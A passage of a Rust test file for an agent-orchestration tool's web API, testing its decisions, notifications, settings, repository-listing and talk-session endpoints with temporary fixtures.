13997 crate::queue::Source::Human,
13998 );
13999 let inquiry = outbox
14000 .file(&task, None, "test".into(), "入力待ち", "詳細")
14001 .unwrap();
14002 let root = fx.home.path().join("notifications/task-inquiries");
14003 std::fs::write(root.join("broken.json"), "{").unwrap();
14004 let mut unsupported = inquiry.clone();
14005 unsupported.id = "unsupported".into();
14006 unsupported.schema = 99;
14007 std::fs::write(
14008 root.join("unsupported.json"),
14009 serde_json::to_vec(&unsupported).unwrap(),
14010 )
14011 .unwrap();
14012 let before = std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap();
14013 for _ in 0..2 {
14014 let response = fx.get("/api/decisions").await;
14015 assert_eq!(response.status, 200, "{}", response.body);
14016 let listed = response.json();
14017 assert_eq!(listed["unreadable"], 2);
14018 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14019 assert_eq!(listed["items"][0]["id"], inquiry.id);
14020 assert_eq!(listed["items"][0]["decision"]["status"], "awaiting_owner");
14021 }
14022 assert_eq!(
14023 before,
14024 std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap()
14025 );
14026 assert!(outbox.list().is_err());
14027 std::fs::remove_file(root.join("broken.json")).unwrap();
14028 std::fs::remove_file(root.join("unsupported.json")).unwrap();
14029 assert_eq!(fx.get("/api/decisions").await.json()["unreadable"], 0);
14030 }
14031
14032 #[tokio::test]
14033 async fn decisions_list_exposes_migration_errors_without_acknowledging_them() {
14034 let fx = Fixture::start().await;
14035 let root = fx.home.path().join("notifications/task-chat-migration-v1");
14036 std::fs::create_dir_all(&root).unwrap();
14037 let journal = serde_json::json!({
14038 "schema": 1, "pending": ["saved-inquiry"],
14039 "errors": {"saved-inquiry": "Source is unreadable; no action executed"}
14040 });
14041 let bytes = serde_json::to_vec(&journal).unwrap();
14042 std::fs::write(root.join("state.json"), &bytes).unwrap();
14043 for _ in 0..2 {
14044 let response = fx.get("/api/decisions").await;
14045 assert_eq!(response.status, 200);
14046 let listed = response.json();
14047 assert_eq!(listed["migration_errors"][0]["id"], "saved-inquiry");
14048 assert!(listed["items"].as_array().unwrap().is_empty());
14049 assert_eq!(std::fs::read(root.join("state.json")).unwrap(), bytes);
14050 }
14051 std::fs::write(root.join("state.json"), b"{").unwrap();
14053 let response = fx.get("/api/decisions").await;
14054 assert_eq!(response.status, 200);
14055 assert_eq!(response.json()["migration_errors"][0]["id"], "migration");
14056 }
14057
14058 #[tokio::test]
14059 async fn notifications_list_read_dismiss_and_health_agree() {
14060 let fx = Fixture::start().await;
14061 let store = Notices::at(fx.home.path().join("notifications"));
14062 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
14063 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
14064
14065 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
14066 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
14067
14068 store
14069 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
14070 .unwrap();
14071 let health = fx.get("/api/health").await.json();
14072 assert_eq!(health["notifications_unread"], 2);
14073 assert_ne!(
14074 health["notifications_rev"], rev0,
14075 "the badge must move live"
14076 );
14077
14078 let listed = fx.get("/api/notifications").await.json();
14079 assert_eq!(listed["unread"], 2);
14080 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
14081 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
14082
14083 let read = fx
14084 .post(&format!("/api/notifications/{}/read", a.id), None)
14085 .await;
14086 assert_eq!(read.status, 200, "{}", read.body);
14087 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
14088
14089 let gone = fx
14090 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
14091 .await;
14092 assert_eq!(gone.status, 200, "{}", gone.body);
14093 let listed = fx.get("/api/notifications").await.json();
14094 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14095 assert_eq!(listed["unread"], 0);
14096
14097 store.raise(Notice::info("x", "again")).unwrap();
14098 let all = fx.post("/api/notifications/read-all", None).await;
14099 assert_eq!(all.status, 200, "{}", all.body);
14100 assert_eq!(all.json()["marked"], 1);
14101 assert_eq!(
14102 fx.get("/api/health").await.json()["notifications_unread"],
14103 0
14104 );
14105
14106 let missing = fx.post("/api/notifications/nope/read", None).await;
14107 assert_eq!(missing.status, 404, "{}", missing.body);
14108 assert!(missing.json()["error"].is_string());
14109 }
14110
14111 #[tokio::test]
14118 async fn a_task_cannot_be_filed_over_the_phone_directly() {
14119 let f = Fixture::start().await;
14120
14121 let res = f
14122 .post(
14123 "/api/queue",
14124 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
14125 )
14126 .await;
14127
14128 assert_eq!(
14129 res.status, 405,
14130 "POST /api/queue must not be a route: {}",
14131 res.body
14132 );
14133 assert!(
14134 f.queue().list().is_empty(),
14135 "a task filed by a route that does not exist must not reach the disk"
14136 );
14137 assert_eq!(f.get("/api/queue").await.status, 200);
14140 }
14141
14142 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
14144 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
14145 .expect("checkout dir");
14146 }
14147
14148 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
14150
14151 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
14152 let tmp = TempDir::new().expect("tempdir");
14153 let repo = tmp.path().join("repo");
14154 std::fs::create_dir_all(&repo).expect("repo dir");
14155 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
14156 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
14157 if let Some(text) = machine_toml {
14158 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
14159 std::fs::write(&machine, text).expect("machine toml");
14160 }
14161 (tmp, repo, machine)
14162 }
14163
14164 async fn settings_checkout(path: &FsPath, text: &str) {
14165 std::fs::create_dir_all(path).unwrap();
14166 std::fs::write(path.join("magi.toml"), text).unwrap();
14167 for args in [
14168 vec!["init", "-b", "main"],
14169 vec!["add", "magi.toml"],
14170 vec![
14171 "-c",
14172 "user.name=Test",
14173 "-c",
14174 "user.email=test@example.invalid",
14175 "commit",
14176 "-m",
14177 "fixture",
14178 ],
14179 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
14180 vec![
14181 "symbolic-ref",
14182 "refs/remotes/origin/HEAD",
14183 "refs/remotes/origin/main",
14184 ],
14185 ] {
14186 crate::git::git(path, &args).await.unwrap();
14187 }
14188 }
14189
14190 #[tokio::test]
14191 async fn settings_context_handlers_validate_and_save_without_a_socket() {
14192 let (tmp, repo, machine) =
14193 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
14194 let root = tmp.path().join("roots");
14195 let selected = root.join("host/owner/selected");
14196 settings_checkout(
14197 &selected,
14198 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
14199 )
14200 .await;
14201 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
14202 let before = std::fs::read(&machine).unwrap();
14203 let ui = Arc::new(
14204 Ui::new(
14205 Queue::at(tmp.path().join("queue")),
14206 Questions::at(tmp.path().join("questions")),
14207 Talks::at(tmp.path().join("talks")),
14208 tmp.path().join("runs"),
14209 tmp.path().to_path_buf(),
14210 repo.clone(),
14211 )
14212 .with_machine_config(Some(machine.clone())),
14213 );
14214 let query = || {
14215 Query(SettingsQuery {
14216 repo: Some(selected.clone()),
14217 })
14218 };
14219 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
14220 assert!(v.error.is_none(), "{:?}", v.error);
14221 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
14222 assert_eq!(conductor.source, "repo");
14223 assert_eq!(
14224 conductor.machine_value,
14225 Some(toml::Value::String("a".into()))
14226 );
14227 assert!(!conductor.editable);
14228 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
14229 assert_eq!(
14230 judges.count.as_ref().unwrap().machine_value,
14231 Some(toml::Value::Integer(1))
14232 );
14233 assert!(
14234 !v.roles
14235 .iter()
14236 .find(|r| r.key == "reviewers")
14237 .unwrap()
14238 .editable
14239 );
14240 let unknown = || {
14241 Query(SettingsQuery {
14242 repo: Some(tmp.path().to_path_buf()),
14243 })
14244 };
14245 assert_eq!(
14246 settings_get(State(ui.clone()), unknown())
14247 .await
14248 .unwrap_err()
14249 .status,
14250 StatusCode::UNPROCESSABLE_ENTITY
14251 );
14252 let body = || {
14253 Ok(Json(RolesBody {
14254 revision: v.revision.clone(),
14255 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
14256 counts: Default::default(),
14257 }))
14258 };
14259 assert_eq!(
14260 settings_put_roles(State(ui.clone()), unknown(), body())
14261 .await
14262 .unwrap_err()
14263 .status,
14264 StatusCode::UNPROCESSABLE_ENTITY
14265 );
14266 assert_eq!(std::fs::read(&machine).unwrap(), before);
14267 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
14268 .await
14269 .unwrap();
14270 assert_eq!(
14271 saved.repo,
14272 selected.canonicalize().unwrap().display().to_string()
14273 );
14274 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14275 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14276 let fresh = root.join("host/owner/fresh");
14278 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
14279 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
14280 .await
14281 .unwrap();
14282 assert_eq!(fresh_view.repositories.len(), 3);
14283 }
14284
14285 #[tokio::test]
14286 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
14287 let (tmp, repo, machine) = settings_dirs(
14288 "[roles]\nreviewers = [\"a\"]\n",
14289 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
14290 );
14291 let root = tmp.path().join("roots");
14292 let selected = root.join("host/owner/selected");
14293 settings_checkout(
14294 &selected,
14295 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
14296 )
14297 .await;
14298 let broken = root.join("host/owner/broken");
14299 settings_checkout(&broken, "[roles\nbroken").await;
14300 let machine_text = format!(
14301 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
14302 toml::Value::String(root.display().to_string())
14303 );
14304 std::fs::write(&machine, &machine_text).unwrap();
14305 let originals: Vec<_> = [&repo, &selected, &broken]
14306 .iter()
14307 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
14308 .collect();
14309 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14310 let default = f.get("/api/settings").await.json();
14311 assert_eq!(
14312 default["repo"],
14313 repo.canonicalize().unwrap().display().to_string()
14314 );
14315 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
14316 let query = format!("?repo={}", selected.display());
14317 let res = f.get(&format!("/api/settings{query}")).await;
14318 assert_eq!(res.status, 200, "{}", res.body);
14319 let v = res.json();
14320 assert!(v["error"].is_null(), "{v}");
14321 assert_eq!(v["repositories"], default["repositories"]);
14322 let role = |key: &str| {
14323 v["roles"]
14324 .as_array()
14325 .unwrap()
14326 .iter()
14327 .find(|r| r["key"] == key)
14328 .unwrap()
14329 };
14330 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
14331 assert_eq!(role("advisors")["source"], "repo");
14332 assert_eq!(role("advisors")["editable"], false);
14333 assert!(role("advisors")["machine_value"].is_null());
14334 assert_eq!(role("judges")["count"]["value"], 2);
14335 assert_eq!(role("judges")["count"]["machine_value"], 1);
14336 assert_eq!(role("judges")["count"]["source"], "repo");
14337 let source = role("judges")["count"]["source_path"].as_str().unwrap();
14338 assert!(
14339 source.contains("origin/main") && !source.contains("magi/config/"),
14340 "{source}"
14341 );
14342 assert_eq!(
14343 role("reviewers")["editable"],
14344 false,
14345 "default context outside roots must protect its declarations"
14346 );
14347 let body =
14348 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
14349 let unknown = format!("?repo={}", tmp.path().display());
14350 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
14351 assert_eq!(
14352 f.put(&format!("/api/settings/roles{unknown}"), &body)
14353 .await
14354 .status,
14355 422
14356 );
14357 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
14358 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
14359 .to_string();
14360 assert_eq!(
14361 f.put(&format!("/api/settings/roles{query}"), &refuse)
14362 .await
14363 .status,
14364 422
14365 );
14366 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
14367 assert_eq!(saved.status, 200, "{}", saved.body);
14368 assert_eq!(saved.json()["repo"], v["repo"]);
14369 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14370 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14371 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
14372 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
14373 }
14374 let error = f
14375 .get(&format!("/api/settings?repo={}", broken.display()))
14376 .await;
14377 assert_eq!(error.status, 200);
14378 assert!(error.json()["error"]["message"].is_string());
14379 assert_eq!(error.json()["repositories"], default["repositories"]);
14380 }
14381
14382 #[tokio::test]
14383 async fn settings_get_reports_sources_and_the_advisors_fallback() {
14384 let (_tmp, repo, machine) =
14385 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
14386 let f = Fixture::with_repo_and_machine(repo, machine).await;
14387 let res = f.get("/api/settings").await;
14388 assert_eq!(res.status, 200, "{}", res.body);
14389 let v = res.json();
14390 assert!(v["error"].is_null(), "{v}");
14391 let role = |k: &str| {
14392 v["roles"]
14393 .as_array()
14394 .and_then(|r| r.iter().find(|x| x["key"] == k))
14395 .cloned()
14396 .unwrap_or_else(|| panic!("no role {k}: {v}"))
14397 };
14398 assert_eq!(role("judges")["source"], "machine");
14399 assert_eq!(role("judges")["editable"], true);
14400 assert_eq!(role("implementers")["source"], "default");
14401 let adv = role("advisors");
14402 assert_eq!(adv["fallback"], "judges");
14403 assert!(
14404 adv["seats"]
14405 .as_array()
14406 .is_some_and(|s| s.iter().all(|x| x == "b")),
14407 "{adv}"
14408 );
14409 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
14410 assert_eq!(v["agents"][0]["source"], "repo");
14411 }
14412
14413 #[tokio::test]
14414 async fn settings_get_reports_a_config_that_does_not_parse() {
14415 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
14416 let f = Fixture::with_repo_and_machine(repo, machine).await;
14417 let res = f.get("/api/settings").await;
14418 assert_eq!(res.status, 200, "{}", res.body);
14419 let v = res.json();
14420 assert!(v["error"]["message"].is_string(), "{v}");
14421 assert!(
14422 v["error"]["path"]
14423 .as_str()
14424 .is_some_and(|p| p.ends_with("magi.toml")),
14425 "{v}"
14426 );
14427 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
14428 }
14429
14430 #[tokio::test]
14431 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
14432 let (_tmp, repo, machine) = settings_dirs(
14433 SETTINGS_AGENTS,
14434 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
14435 );
14436 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
14437 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14438 let rev = f.get("/api/settings").await.json()["revision"]
14439 .as_str()
14440 .expect("revision")
14441 .to_owned();
14442 let body = serde_json::json!({
14443 "revision": rev,
14444 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
14445 })
14446 .to_string();
14447 let res = f.put("/api/settings/roles", &body).await;
14448 assert_eq!(res.status, 200, "{}", res.body);
14449 let text = std::fs::read_to_string(&machine).expect("machine");
14450 assert_eq!(
14451 text,
14452 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
14453 );
14454 assert_eq!(
14455 std::fs::read(repo.join("magi.toml")).expect("read"),
14456 repo_before
14457 );
14458 let again = f.get("/api/settings").await.json();
14459 let judges = again["roles"]
14460 .as_array()
14461 .expect("roles")
14462 .iter()
14463 .find(|r| r["key"] == "judges")
14464 .expect("judges")
14465 .clone();
14466 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
14467 let stale = f.put("/api/settings/roles", &body).await;
14469 assert_eq!(stale.status, 409, "{}", stale.body);
14470 }
14471
14472 #[tokio::test]
14473 async fn settings_counts_are_reported_and_saved() {
14474 let (_tmp, repo, machine) = settings_dirs(
14475 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
14476 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
14477 );
14478 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14479 let v = f.get("/api/settings").await.json();
14480 let count = |v: &serde_json::Value, k: &str| {
14481 v["roles"]
14482 .as_array()
14483 .and_then(|r| r.iter().find(|x| x["key"] == k))
14484 .map(|x| x["count"].clone())
14485 .unwrap_or_else(|| panic!("no role {k}: {v}"))
14486 };
14487 let imp = count(&v, "implementers");
14488 assert_eq!(imp["value"], 2);
14489 assert_eq!(imp["source"], "machine");
14490 assert_eq!(imp["file_key"], "candidates");
14491 assert_eq!(imp["roster_len"], 2);
14492 assert_eq!(imp["backups"], 0);
14493 assert_eq!(count(&v, "judges")["source"], "default");
14494 assert_eq!(count(&v, "advisors")["min"], 0);
14495 assert_eq!(count(&v, "reviewers")["editable"], false);
14496 assert!(
14497 count(&v, "reviewers")["locked_reason"]
14498 .as_str()
14499 .is_some_and(|m| m.contains("graph.reviewers"))
14500 );
14501 assert!(count(&v, "fixer").is_null());
14502 let rev = v["revision"].as_str().expect("revision").to_owned();
14503 let body = serde_json::json!({
14504 "revision": rev,
14505 "roles": { "judges": ["b"] },
14506 "counts": { "implementers": 1, "advisors": 0 }
14507 })
14508 .to_string();
14509 let res = f.put("/api/settings/roles", &body).await;
14510 assert_eq!(res.status, 200, "{}", res.body);
14511 let text = std::fs::read_to_string(&machine).expect("machine");
14512 assert_eq!(
14513 text,
14514 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
14515 );
14516 let after = f.get("/api/settings").await.json();
14517 assert_eq!(count(&after, "implementers")["value"], 1);
14518 assert_eq!(count(&after, "implementers")["backups"], 1);
14519 assert_eq!(count(&after, "advisors")["value"], 0);
14520 let before = std::fs::read_to_string(&machine).expect("machine");
14521 let rev = after["revision"].as_str().expect("revision").to_owned();
14522 for counts in [
14523 serde_json::json!({ "judges": 0 }),
14524 serde_json::json!({ "judges": "x" }),
14525 serde_json::json!({ "judges": 2.5 }),
14526 serde_json::json!({ "judges": -1 }),
14527 serde_json::json!({ "reviewers": 3 }),
14528 serde_json::json!({ "bogus": 3 }),
14529 ] {
14530 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
14531 let res = f.put("/api/settings/roles", &body).await;
14532 assert_eq!(res.status, 422, "{counts}: {}", res.body);
14533 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
14534 }
14535 }
14536
14537 #[tokio::test]
14538 async fn settings_put_refuses_without_touching_the_file() {
14539 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
14540 let (_tmp, repo, machine) = settings_dirs(
14541 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
14542 Some(machine_text),
14543 );
14544 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14545 let rev = f.get("/api/settings").await.json()["revision"]
14546 .as_str()
14547 .expect("revision")
14548 .to_owned();
14549 for roles in [
14550 serde_json::json!({ "judges": ["nope"] }),
14551 serde_json::json!({ "reviewers": ["b"] }),
14552 serde_json::json!({ "bogus": ["a"] }),
14553 ] {
14554 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
14555 let res = f.put("/api/settings/roles", &body).await;
14556 assert_eq!(res.status, 422, "{roles}: {}", res.body);
14557 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
14558 assert_eq!(
14559 std::fs::read_to_string(&machine).expect("machine"),
14560 machine_text
14561 );
14562 }
14563 }
14564
14565 #[tokio::test]
14566 async fn repos_list_returns_name_and_path_for_every_configured_root() {
14567 let tmp = TempDir::new().expect("tempdir");
14568 let repo = tmp.path().join("repo");
14569 std::fs::create_dir_all(&repo).expect("repo dir");
14570 let root = tmp.path().join("root");
14571 make_checkout(&root, "github.com", "yukimemi", "magi");
14572 std::fs::write(
14573 repo.join("magi.toml"),
14574 format!(
14575 "[repos]\nroots = [{:?}]\n",
14576 root.to_string_lossy().into_owned()
14577 ),
14578 )
14579 .expect("write magi.toml");
14580
14581 let f = Fixture::with_repo(repo).await;
14582 let res = f.get("/api/repos").await;
14583 assert_eq!(res.status, 200, "{}", res.body);
14584 let list = res.json();
14585 let repos = list.as_array().expect("an array");
14586 assert_eq!(repos.len(), 1);
14587 assert_eq!(repos[0]["name"], "yukimemi/magi");
14588 assert!(
14589 repos[0]["path"]
14590 .as_str()
14591 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
14592 "{list}"
14593 );
14594 }
14595
14596 #[tokio::test]
14597 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
14598 let tmp = TempDir::new().expect("tempdir");
14599 let repo = tmp.path().join("repo");
14600 std::fs::create_dir_all(&repo).expect("repo dir");
14601 let root = tmp.path().join("root");
14602 make_checkout(&root, "github.com", "yukimemi", "magi");
14603 std::fs::write(
14604 repo.join("magi.toml"),
14605 format!(
14606 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
14607 root.to_string_lossy().into_owned()
14608 ),
14609 )
14610 .expect("write magi.toml");
14611
14612 let f = Fixture::with_repo(repo).await;
14613 let first = f.get("/api/repos").await;
14614 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
14615
14616 make_checkout(&root, "github.com", "yukimemi", "rvpm");
14619 let second = f.get("/api/repos").await;
14620 assert_eq!(
14621 second.json().as_array().map(Vec::len),
14622 Some(1),
14623 "a fresh cache must not rescan inside the TTL"
14624 );
14625
14626 let refreshed = f.get("/api/repos?refresh=1").await;
14627 assert_eq!(
14628 refreshed.json().as_array().map(Vec::len),
14629 Some(2),
14630 "an explicit refresh must rescan even inside the TTL"
14631 );
14632 }
14633
14634 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
14640
14641 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
14645 let tmp = TempDir::new().expect("tempdir");
14646 let repo = tmp.path().join("repo");
14647 std::fs::create_dir_all(&repo).expect("repo dir");
14648 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14649 let f = Fixture::with_repo(repo.clone()).await;
14650 (tmp, repo, f)
14651 }
14652
14653 #[tokio::test]
14654 async fn posting_a_talk_with_remembered_choices_is_soft() {
14655 let (_tmp, _repo, f) = talk_fixture().await;
14656
14657 let good = f
14658 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
14659 .await;
14660 assert_eq!(good.status, 201, "{}", good.body);
14661 assert_eq!(good.json()["persona"], "rei");
14662
14663 let stale = f
14665 .post(
14666 "/api/talks",
14667 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
14668 )
14669 .await;
14670 assert_eq!(stale.status, 201, "{}", stale.body);
14671 let v = stale.json();
14672 assert_eq!(v["implementers"], 1);
14673 assert_ne!(v["persona"], "nobody");
14674 let typed = f
14675 .post(
14676 "/api/talks",
14677 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
14678 )
14679 .await;
14680 assert_eq!(typed.status, 201, "{}", typed.body);
14681
14682 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
14684 assert!(
14685 !strict.status.to_string().starts_with('2'),
14686 "{}",
14687 strict.body
14688 );
14689 }
14690
14691 #[tokio::test]
14692 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
14693 let (_tmp, _repo, f) = talk_fixture().await;
14694
14695 let opened = f.post("/api/talks", None).await;
14698 assert_eq!(opened.status, 201, "{}", opened.body);
14699 let body = opened.json();
14700 assert_eq!(body["status"], "open");
14701 assert_eq!(
14702 body["turns"].as_array().unwrap().len(),
14703 0,
14704 "opening takes no agent turn: there is nothing yet to answer"
14705 );
14706
14707 let also_opened = f.post("/api/talks", Some("{}")).await;
14709 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
14710
14711 let listed = f.get("/api/talks").await.json();
14712 assert_eq!(listed.as_array().unwrap().len(), 2);
14713 }
14714
14715 #[tokio::test]
14716 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
14717 let tmp = TempDir::new().expect("tempdir");
14718 let repo = tmp.path().join("repo");
14719 std::fs::create_dir_all(&repo).expect("repo dir");
14720 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
14721 std::fs::write(
14722 repo.join("magi.toml"),
14723 format!("{MOCK_AGENT_TOML}\n{second}"),
14724 )
14725 .expect("write magi.toml");
14726 let home = TempDir::new().expect("temp home");
14727 let talks = Talks::at(home.path().join("talks"));
14728 let ui = Arc::new(
14729 Ui::new(
14730 Queue::at(home.path().join("queue")),
14731 Questions::at(home.path().join("questions")),
14732 talks.clone(),
14733 home.path().join("runs"),
14734 home.path().to_path_buf(),
14735 repo.clone(),
14736 )
14737 .with_worktrees_root(home.path().join("wt")),
14738 );
14739 let cfg = config_for(&repo).await.expect("discover config");
14740 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14741 let id = talk.id.clone();
14742 let call = |agent: &str| {
14743 talk_agent(
14744 State(Arc::clone(&ui)),
14745 Path(id.clone()),
14746 Json(TalkAgent {
14747 agent: agent.to_owned(),
14748 }),
14749 )
14750 };
14751
14752 let unknown = call("nobody").await.expect_err("unknown agent");
14753 assert_eq!(
14754 unknown.status,
14755 StatusCode::BAD_REQUEST,
14756 "{}",
14757 unknown.message
14758 );
14759
14760 {
14761 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14764 let busy = call("second").await.expect_err("busy talk");
14765 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14766 assert!(
14767 busy.message.contains("a talk turn is running"),
14768 "{}",
14769 busy.message
14770 );
14771 drop(guard);
14772 }
14773 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
14774
14775 let Json(view) = call("second").await.expect("switch");
14776 assert_eq!(view.talk.agent, "second");
14777 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
14778 let saved = talks.get(&id).expect("reload");
14779 assert_eq!(saved.agent, "second");
14780 assert_eq!(saved.turns.len(), 1);
14781 assert!(!view.thinking);
14782 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14783 for agent in ["mock", "second"] {
14784 let Json(view) = call(agent).await.expect("immediate consecutive change");
14785 assert_eq!(view.talk.agent, agent);
14786 assert!(!view.thinking);
14787 assert!(!ui.is_thinking(&id));
14788 }
14789
14790 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14791 .await
14792 .expect("detail");
14793 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
14794 assert_eq!(roster, ["mock", "second"]);
14795
14796 let mut closed = talks.get(&id).expect("reload");
14797 talk::close(&mut closed, &talks).expect("close");
14798 let refused = call("mock").await.expect_err("closed talk");
14799 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14800 assert!(
14801 refused.message.contains("takes no more turns"),
14802 "{}",
14803 refused.message
14804 );
14805 }
14806
14807 #[tokio::test]
14808 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
14809 let tmp = TempDir::new().expect("tempdir");
14810 let repo = tmp.path().join("repo");
14811 std::fs::create_dir_all(&repo).expect("repo dir");
14812 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14813 let home = TempDir::new().expect("temp home");
14814 let talks = Talks::at(home.path().join("talks"));
14815 let ui = Arc::new(
14816 Ui::new(
14817 Queue::at(home.path().join("queue")),
14818 Questions::at(home.path().join("questions")),
14819 talks.clone(),
14820 home.path().join("runs"),
14821 home.path().to_path_buf(),
14822 repo.clone(),
14823 )
14824 .with_worktrees_root(home.path().join("wt")),
14825 );
14826 let cfg = config_for(&repo).await.expect("discover config");
14827 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14828 let id = talk.id.clone();
14829 let call = |n: u8| {
14830 talk_implementers(
14831 State(Arc::clone(&ui)),
14832 Path(id.clone()),
14833 Json(TalkImplementers { implementers: n }),
14834 )
14835 };
14836
14837 for bad in [0u8, 4] {
14838 let e = call(bad).await.expect_err("out of range");
14839 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14840 }
14841 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14842
14843 {
14844 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14847 let busy = call(2).await.expect_err("busy talk");
14848 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14849 assert!(
14850 busy.message.contains("a talk turn is running"),
14851 "{}",
14852 busy.message
14853 );
14854 drop(guard);
14855 }
14856
14857 let Json(view) = call(3).await.expect("switch");
